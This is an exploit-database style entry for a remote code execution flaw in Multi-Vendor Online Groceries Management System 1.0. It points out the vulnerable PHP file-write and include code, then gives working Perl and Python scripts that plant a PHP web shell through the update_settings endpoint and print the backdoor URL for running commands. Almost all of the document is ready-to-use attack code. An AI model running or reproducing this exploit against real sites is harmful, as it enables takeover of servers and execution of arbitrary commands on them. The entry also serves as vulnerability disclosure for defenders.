Multi-Vendor Online Groceries Management System 1.0 Remote Code Execution

`# Exploit Title: Multi-Vendor Online Groceries Management System 1.0 - Remote Code Execution (RCE)  
# Date: 4/23/2023  
# Author: Or4nG.M4n  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/15166/multi-vendor-online-groceries-management-system-phpoop-free-source-code.html  
# Version: 1.0  
# Tested on: windows  
#  
# Vuln File : SystemSettings.php < here you can inject php code  
# if(isset($_POST['content'])){  
# foreach($_POST['content'] as $k => $v)  
# file_put_contents("../{$k}.html",$v); <=== put any code into welcome.html or whatever you want  
# }  
# Vuln File : home.php < here you can include and execute you're php code  
# <h3 class="text-center">Welcome</h3>  
# <hr>  
# <div class="welcome-content">  
# <?php include("welcome.html") ?> <=== include   
# </div>  
# Perl Code   
use LWP::UserAgent;  
use LWP::Simple;  
  
print "Target Url #";  
my $url = <STDIN>;  
chomp $url;  
$backdoor = '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>';   
my $ua = LWP::UserAgent->new();  
my $response = $ua->post( $url."/classes/SystemSettings.php?f=update_settings", { 'content[welcome]' => $backdoor } );  
my $content = $response->decoded_content();  
print "[+] injection in welcome page\n";  
print "[+] backdoor url ".$url."/?cmd=ls -al";  
  
# Python Code  
  
import requests   
  
url = input("Enter url :")  
postdata = {'content[welcome]':'<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'}  
resp = requests.post(url+"/classes/SystemSettings.php?f=update_settings", postdata)  
print("[+] injection in welcome page")  
print("[+]"+url+"/?cmd=ls -al")  
print("\n")  
`